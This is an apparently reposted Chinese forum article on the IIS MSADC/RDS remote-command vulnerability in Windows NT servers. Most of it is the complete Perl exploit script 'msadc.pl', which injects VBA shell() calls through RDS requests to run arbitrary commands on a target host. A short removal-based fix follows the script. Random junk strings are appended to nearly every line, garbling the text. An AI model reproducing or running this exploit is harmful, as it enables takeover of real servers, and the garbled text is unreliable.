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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 1Gy [^  
06z+xxCo  
涉及程序: a SMoee@!  
Microsoft NT server hQeG#KQ  
Ax*xa6_2  
描述: mrBK{@n  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 )E m`kle  
o4jh n[Fx  
详细: 5?m4B:W  
如果你没有时间读详细内容的话,就删除: EHK+qrym  
c:\Program Files\Common Files\System\Msadc\msadcs.dll :LCyxLI  
有关的安全问题就没有了。 0i>p1/kv  
~ R eX$9  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 >[l2KD  
1A[(RT]  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 VfwH:  
关于利用ODBC远程漏洞的描述,请参看: 6!SW]#sD  
O8~RfB  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm L{oG'aK4  
&ET$ca`j#  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 $Z3{D:-)  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp QH_Ds,oH=  
v#?;PyeF  
这里不再论述。  dZX;k0  
u4$R ZTC  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: fZcA{$Vc]N  
}WhRJr`a  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset wVs"+4l<  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! _bt9{@)  
]Y@_2`  
jVh:Bw  
#将下面这段保存为txt文件,然后: "perl -x 文件名" WF:4p]0~)  
_l2_) ~  
#!perl [^D>xD3B2  
# L1f=90  
# MSADC/RDS 'usage' (aka exploit) script x_CY`Y  
# YFDOp *  
# by rain.forest.puppy  DTa!vg  
# <s%Ft  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me  : 76zRF  
# beta test and find errors! 8`6G_:&X  
2A:&Cqo  
use Socket; use Getopt::Std; WNt':w^_  
getopts("e:vd:h:XR", \%args); w[$oH^7  
m&s>Sn+  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 7 IJn9b  
+d7 Arg!m  
if (!defined $args{h} && !defined $args{R}) { u%lUi2P2E  
print qq~ kP'm$+1or  
Usage: msadc.pl -h <host> { -d <delay> -X -v } UD.ZnE{"  
-h <host> = host you want to scan (ip or domain) efE=5%O  
-d <seconds> = delay between calls, default 1 second O3mw5<%15  
-X = dump Index Server path table, if available T8&eaAoo  
-v = verbose 97~>gFU77#  
-e = external dictionary file for step 5 OZC yg/K  
jFip-=T{4  
Or a -R will resume a command session  e<(6x[_  
jGT|Xo>t  
~; exit;} hA;Ai:8  
%hlgLM  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; sVGQSJJ5  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} y0-UO+ ;  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} }Q@~_3,UJ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); "n)AlAV@  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 1;'-$K`}  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } }h1eB~6M  
R.DUfU"gp  
if (!defined $args{R}){ $ret = &has_msadc; \98N8p;,I  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} *?$M=tH  
n`@dk_%yI  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" X8ZO } X  
. "cmd /c "; ' sNiJ>  
$in=<STDIN>; chomp $in; .Z#/%y3S  
$command="cmd /c " . $in ; ,fqM>Q  
L62%s[  
if (defined $args{R}) {&load; exit;} }"SqB{5e(  
wX_~H*m?  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;)wk ^W  
&try_btcustmr; e ;^}@X  
@WJ\W`P  
print "\nStep 2: Trying to make our own DSN..."; M< .1U?_#  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ^do6?e`?-  
>#'?}@FWQN  
print "\nStep 3: Trying known DSNs..."; OhMJt&s9P=  
&known_dsn; |)C *i  
Dv L8}dz  
print "\nStep 4: Trying known .mdbs..."; X;2LK!x;y  
&known_mdb; jVZ<i}h0B  
N UJ $)qNA  
if (defined $args{e}){ ly35n`  
print "\nStep 5: Trying dictionary of DSN names..."; JZ~wacDd  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } %n GjP^  
4Gh\T`=  
print "Sorry Charley...maybe next time?\n"; [~X&J#  
exit; .gzfaxi  
0w0{@\9  
############################################################################## $zU%?[J  
$d!Vxm  
sub sendraw { # ripped and modded from whisker H5&._  
sleep($delay); # it's a DoS on the server! At least on mine... co1aG,>"q  
my ($pstr)=@_; (xoYYO  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || KV$4}{  
die("Socket problems\n"); X/90S2=P  
if(connect(S,pack "SnA4x8",2,80,$target)){ c8Ud<M .  
select(S); $|=1; "^!y>]j#A  
print $pstr; my @in=<S>; *,%$l+\h  
select(STDOUT); close(S); :>r W`= e'  
return @in; uv<_.Jq]  
} else { die("Can't connect...\n"); }} zx,9x*g  
9thG4T8  
############################################################################## psc Fb$b  
PHEQG]H S  
sub make_header { # make the HTTP request kU=U u>  
my $msadc=<<EOT m(}}%VeR"z  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `C C=?E  
User-Agent: ACTIVEDATA &6 <a<S  
Host: $ip p!=O>b_f  
Content-Length: $clen 7S&$M-k  
Connection: Keep-Alive D4{KU%Xp&  
QxGcRlpLK  
ADCClientVersion:01.06 %[s%H)e)  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 R dwt4A+  
^jUw4Dj~-q  
--!ADM!ROX!YOUR!WORLD! EpyMc+.Ze'  
Content-Type: application/x-varg XPD1HN!,LT  
Content-Length: $reqlen 3fB]uq+eD%  
(Nk[ys}%*  
EOT v3FdlE  
; $msadc=~s/\n/\r\n/g; AO]cnh C  
return $msadc;} |#M|"7;2z  
*8m['$oyV  
############################################################################## u%+k\/Scp.  
hjM?D`5x  
sub make_req { # make the RDS request +xU({/  
my ($switch, $p1, $p2)=@_; l"1D' Hk  
my $req=""; my $t1, $t2, $query, $dsn; rUmP_  
FMI1[|:;  
if ($switch==1){ # this is the btcustmr.mdb query \!BVf@>p%  
$query="Select * from Customers where City=" . make_shell(); 1^E5VG1[  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . !U>WAD9  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} vNrn]v=|}7  
Z b$]9(RS  
elsif ($switch==2){ # this is general make table query 6}e*!,2Xj  
$query="create table AZZ (B int, C varchar(10))"; pr7lm5  
$dsn="$p1";} `]XI Q\ *  
7pciB}$2  
elsif ($switch==3){ # this is general exploit table query FVBAB>   
$query="select * from AZZ where C=" . make_shell(); 0V21_".S  
$dsn="$p1";} XD|g G  
~6@`;s`[Y  
elsif ($switch==4){ # attempt to hork file info from index server  k4dC  
$query="select path from scope()"; B(94;,(  
$dsn="Provider=MSIDXS;";} ;H.V-~:P)  
^]D1':  
elsif ($switch==5){ # bad query MuQ)F-GSUu  
$query="select"; %)?jaE}[  
$dsn="$p1";} LybaE~=  
geqP.MR  
$t1= make_unicode($query); `o295eiY(b  
$t2= make_unicode($dsn); la_c:#ho  
$req = "\x02\x00\x03\x00"; -~lq <M  
$req.= "\x08\x00" . pack ("S1", length($t1)); xk% 62W  
$req.= "\x00\x00" . $t1 ; 25-h5$s  
$req.= "\x08\x00" . pack ("S1", length($t2)); 5TB6QLPEwY  
$req.= "\x00\x00" . $t2 ; 0kOwA%m  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ;l0 dx$w  
return $req;} Z%:>nDZV  
y32$b,%Xi,  
############################################################################## KNd<8{'.  
L/exR6M7  
sub make_shell { # this makes the shell() statement /\h*v!:  
return "'|shell(\"$command\")|'";} ?_^{9q%9  
Q N#bd~  
############################################################################## _UP fqC ?  
o!K DeY  
sub make_unicode { # quick little function to convert to unicode ""a$[[ %WC  
my ($in)=@_; my $out; 9Pe$}N  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } LlO8]b!P-^  
return $out;} @x+2b0 b  
4}v|^_x-i  
############################################################################## ;-kDJ i  
\rzMgR$/rj  
sub rdo_success { # checks for RDO return success (this is kludge) uHSnZ"#  
my (@in) = @_; my $base=content_start(@in); 6`@J=Q?  
if($in[$base]=~/multipart\/mixed/){ #o4tG  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Pap6JR{7  
return 0;} 'u;O2$  
_3yG<'f[Y  
############################################################################## QO(F%&v++  
!p/?IW+  
sub make_dsn { # this makes a DSN for us !=,Y=5M,  
my @drives=("c","d","e","f"); -|uoxj>  
print "\nMaking DSN: "; 9tPRQ M7  
foreach $drive (@drives) { !Vw1w1  
print "$drive: "; z_fjmqa?  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . -HQbvXAS  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" jxkjPf?  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); s{yw1:  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; a~$Y;C_#<  
return 0 if $2 eq "404"; # not found/doesn't exist 3S7"P$q  
if($2 eq "200") { !LwHKCj  
foreach $line (@results) { ~Q]5g7k=&  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ~<n.5q%Z  
} return 0;} )B0%"0?`8  
0O>ClE~P  
############################################################################## ~;#}aQYo  
Q'jw=w!|g  
sub verify_exists { n@p@ @  
my ($page)=@_; hyf ;f7`o  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ]>VG}e~b  
return $results[0];} >- \bLr  
")STB8kQ  
############################################################################## W H/.h$  
7<] EH:9  
sub try_btcustmr { p|ink):  
my @drives=("c","d","e","f"); Pa{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); f(Of+>   
' 1gfXC  
foreach $dir (@dirs) { N8dxgh!,  
print "$dir -> "; # fun status so you can see progress ?l^Xauk4Pj  
foreach $drive (@drives) { " L`)^  
print "$drive: "; # ditto Jq'8"  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; _o$jk8jOjW  
$reqlenlen=length( "$reqlen" ); ~! -JN}H m  
$clen= 206 + $reqlenlen + $reqlen; ~ $g:  
BA]$Fi.Mw  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ,dCEy+  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} bT^dtEr[  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} S*V}1</L  
Xi98:0<=  
############################################################################## Wjw ,LwB  
K8sRan[4}  
sub odbc_error { _V-KyK  
my (@in)=@_; my $base; W-n4w Ij"  
my $base = content_start(@in); fx{8ERo  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this k~"E h]38  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $ItjVc@U  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 73D< wMgZF  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6`e7|ilh6  
return $in[$base+4].$in[$base+5].$in[$base+6];} Z)#UCoK!c  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; a,c!#iyl3  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 9_?xAJ  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} "+ou!YK+  
<ukBAux,D  
############################################################################## >Q\Kc=Q|  
{7OHEArv  
sub verbose { c0gVW~I1  
my ($in)=@_; ;mG*Rad  
return if !$verbose; `.W2t5 Y  
print STDOUT "\n$in\n";} `x`[hJ?i  
+ O.-o/  
############################################################################## 2M-[x"\1/  
P9 <U+\z  
sub save { &3[oM)-V  
my ($p1, $p2, $p3, $p4)=@_; ^es]jng`  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; W-=6:y#A  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; tNi>TkC}`  
close OUT;} g 4[Vgmh J  
!wfW0?eu  
############################################################################## 9Ux(  
MYWkEv7  
sub load { =1l6( pJ  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; rG-T Dm  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); .:r~?$(  
@p=<IN>; close(IN); ?dgyi4J?=`  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Q!e560@  
$target= inet_aton($ip) || die("inet_aton problems");  6st  
print "Resuming to $ip ..."; :CyHo6o9  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; J,2V&WuV0r  
if($p[1]==1) { X g6ezlW  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; FPDTw8" B;  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; CI'RuR3y]Z  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); iAwEnQ3h  
if (rdo_success(@results)){print "Success!\n";} ^a4z*#IOr  
else { print "failed\n"; verbose(odbc_error(@results));}} x;n3 Zr;(  
elsif ($p[1]==3){ F)LbH& Kn  
if(run_query("$p[3]")){ 6}"c4 ^k6  
print "Success!\n";} else { print "failed\n"; }} dI{DiPho  
elsif ($p[1]==4){ ~|V^IJZ22  
if(run_query($drvst . "$p[3]")){ faDSyBLo  
print "Success!\n"; } else { print "failed\n"; }} L (Y1ey9x  
exit;} ai{>rO3 }I  
l#'V SFm&  
############################################################################## to'7o8Z  
#Vq9 =Q2  
sub create_table { :aesG7=O  
my ($in)=@_; E#B-JLMGl  
$reqlen=length( make_req(2,$in,"") ) - 28; ?l0eU@rwQ  
$reqlenlen=length( "$reqlen" ); E7:xPNU  
$clen= 206 + $reqlenlen + $reqlen; =:- fK-d  
my @results=sendraw(make_header() . make_req(2,$in,""));  )(G9[DG  
return 1 if rdo_success(@results); HC%Hbc~S_Q  
my $temp= odbc_error(@results); verbose($temp); .A2$C|a*  
return 1 if $temp=~/Table 'AZZ' already exists/; ,@`?I6nKy  
return 0;} Ttluh *  
8D='N`cN+  
############################################################################## Jj"{C]  
{>f"&I<xw  
sub known_dsn { 1@F-t94I  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ju"z  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", r )F;8(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", j[G`p^ul  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); }aZuCe_  
>HP `B2Q H  
foreach $dSn (@dsns) { l|P"^;*zq  
print "."; Yj/afn(Jt  
next if (!is_access("DSN=$dSn")); 'NEl`v*<P  
if(create_table("DSN=$dSn")){ j/O~8o&  
print "$dSn successful\n"; i5VZ,E^E  
if(run_query("DSN=$dSn")){ )6OD@<r{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5R7x%3@L  
print "Something's borked. Use verbose next time\n";}}} print "\n";} zBF~:Uc`B  
u_(~zs.N]  
############################################################################## ;tjOEmIiU  
"o5]:]h)  
sub is_access { [jMN*p?  
my ($in)=@_; hsC T:1i  
$reqlen=length( make_req(5,$in,"") ) - 28; ]juPm8eF  
$reqlenlen=length( "$reqlen" ); X3.zNHN5  
$clen= 206 + $reqlenlen + $reqlen; Fc~G*Gz~Z|  
my @results=sendraw(make_header() . make_req(5,$in,"")); nf.Ox.kM)  
my $temp= odbc_error(@results); -@pjEI  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 9`tK 9  
return 0;} B~p%pT S+  
!J$r|IX5  
############################################################################## FlqGexY5  
@!sK@&ow@%  
sub run_query { d54iZ`  
my ($in)=@_; @(t3<g  
$reqlen=length( make_req(3,$in,"") ) - 28; =+zDE0Qs  
$reqlenlen=length( "$reqlen" ); smP4KC"I(d  
$clen= 206 + $reqlenlen + $reqlen; *_(X$qfoW  
my @results=sendraw(make_header() . make_req(3,$in,"")); Nu5|tf9%A  
return 1 if rdo_success(@results); %5o2I_Cjz  
my $temp= odbc_error(@results); verbose($temp); )l3Uf&v^f  
return 0;} <!OBpAq  
I652Fcj  
############################################################################## ^/f~\ #R  
7EJ2 On  
sub known_mdb { PTQ#8(_,  
my @drives=("c","d","e","f","g"); Ds9)e&yYrb  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `2lS@  
my $dir, $drive, $mdb; n6/Ous  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; WyN ;lId  
0dch OUj  
# this is sparse, because I don't know of many Z(mUU]  
my @sysmdbs=( "\\catroot\\icatalog.mdb", \ TV  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Rs%`6et}\  
"\\system32\\certmdb.mdb", LgqQr6y"  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% hlzB cz*  
]3KeAJ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", V=O52?8  
"\\cfusion\\cfapps\\forums\\forums_.mdb", spEdq}  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", e;]tO-Nu  
"\\cfusion\\cfapps\\security\\realm_.mdb", =rjU=3!&(  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", "#Rh\DQ  
"\\cfusion\\database\\cfexamples.mdb", O0  'iq^g  
"\\cfusion\\database\\cfsnippets.mdb", Un?|RF  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", @@65t'3S  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", +7_qg i7:  
"\\cfusion\\brighttiger\\database\\cleam.mdb", broLC5hbQU  
"\\cfusion\\database\\smpolicy.mdb", ){^J8]b7#  
"\\cfusion\\database\cypress.mdb", cD!,ZL  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", &>sbsx\y  
"\\website\\cgi-win\\dbsample.mdb", As:O|!F  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", *dl hRa  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Fr9/TI  
); #these are just 8wU$kK  
foreach $drive (@drives) { p.DQ|?  
foreach $dir (@dirs){ >)>f~>  
foreach $mdb (@sysmdbs) { gq=t7b  
print "."; *1|7%*!8  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ;Qi:j^+P)  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =pH2V^<<#  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ DI C*{aBf  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; a<cwrDZ  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ]Q^)9uE\D  
Cf% qap#  
foreach $drive (@drives) { YT\`R  
foreach $mdb (@mdbs) { ;%e&6  
print "."; T{{:p\<]_  
if(create_table($drv . $drive . $dir . $mdb)){ 6=iHw 24  
print "\n" . $drive . $dir . $mdb . " successful\n"; Y;i=c6  
if(run_query($drv . $drive . $dir . $mdb)){ @8d 3  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; m1$tf ^  
} else { print "Something's borked. Use verbose next time\n"; }}}} I^NDJdxd  
} !T 6R[  
EVmBLH-a  
############################################################################## H$![]Ujq  
X8C7d6ca  
sub hork_idx { K<S3gb?0  
print "\nAttempting to dump Index Server tables...\n"; n`Q@<op  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; K;F1'5+=D  
$reqlen=length( make_req(4,"","") ) - 28; \Kl20?  
$reqlenlen=length( "$reqlen" ); S?~0)EXj(  
$clen= 206 + $reqlenlen + $reqlen; gx&es\  
my @results=sendraw2(make_header() . make_req(4,"","")); y|`-)fY  
if (rdo_success(@results)){ JEjxY&  
my $max=@results; my $c; my %d; \!u<)kkyT  
for($c=19; $c<$max; $c++){ rXx#<7`  
$results[$c]=~s/\x00//g; ,\4]uZ<  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; c_8&4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; lY%I("2=  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; N>mW64_H)  
$d{"$1$2"}="";} .j}]J:{%  
foreach $c (keys %d){ print "$c\n"; } #2tmi1 ya  
} else {print "Index server doesn't seem to be installed.\n"; }} _w^,j"  
%>KbaM1b  
############################################################################## pMfb(D"  
wQxI({k@  
sub dsn_dict { 1@]&iZ]  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); )[rVg/m  
while(<IN>){ l\<.*6r  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; fO<40!%9cQ  
next if (!is_access("DSN=$dSn")); gOF^?M11x  
if(create_table("DSN=$dSn")){ rN0<y4)!  
print "$dSn successful\n"; sJ6.3= c  
if(run_query("DSN=$dSn")){ F8pA)!AH  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =uP? ?E  
print "Something's borked. Use verbose next time\n";}}} ( bwD:G9  
print "\n"; close(IN);} g5V\R*{  
J%"BCbxW~B  
############################################################################## 0|&@)`  
$1f2'_`8~  
sub sendraw2 { # ripped and modded from whisker BgQEd@cN  
sleep($delay); # it's a DoS on the server! At least on mine... k:0j;\Sx  
my ($pstr)=@_; zWY988fX0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0Lo8pe`DH  
die("Socket problems\n"); yl[I'fX66  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ss[[V(-  
print "Connected. Getting data"; ,i:?c  
open(OUT,">raw.out"); my @in; !XPjRdq  
select(S); $|=1; print $pstr; W[2]$TwT  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 4@9Pd &I  
close(OUT); select(STDOUT); close(S); return @in; (W}F\P  
} else { die("Can't connect...\n"); }} e]4$H.dP  
2<D| {  
############################################################################## !M^O\C)  
Tmzbh 9  
sub content_start { # this will take in the server headers IuwE&#  
my (@in)=@_; my $c; !"^Zr]Qt+\  
for ($c=1;$c<500;$c++) { vJWBr:`L  
if($in[$c] =~/^\x0d\x0a/){ JR!-1tnc  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } jTa\I&s,A  
else { return $c+1; }}} Xa`Q;J"h  
return -1;} # it should never get here actually 5kGniG?T#  
F0$w9p  
############################################################################## M(X _I`\E  
wQ33Gc  
sub funky { ] Q5:JV  
my (@in)=@_; my $error=odbc_error(@in); .psb# 4  
if($error=~/ADO could not find the specified provider/){ 3FBLCD3  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; !se1W5ke#  
exit;} ucN' zq  
if($error=~/A Handler is required/){ '=dQ$fs  
print "\nServer has custom handler filters (they most likely are patched)\n"; I~4z%UG  
exit;} 2e_ Di(us  
if($error=~/specified Handler has denied Access/){ Qs1p  
print "\nServer has custom handler filters (they most likely are patched)\n"; JK$3qUDnI  
exit;}} 64B.7S88  
(*S<2HN5  
############################################################################## $Q*R/MY  
m23"xnRB  
sub has_msadc { =gVMt  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); g+#<;Gbpe  
my $base=content_start(@results); <h -)zI  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ZJDV'mC}  
return 0;} q`xc h[H  
v>8.TE~2  
######################## {4g';  
3x~7N  
P~a@{n*8  
解决方案: Q(& @ra!{  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll n0KpKH<&  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 #)'Iqaq7  
gTj,I=3$?e  
拿出来充数 哈哈
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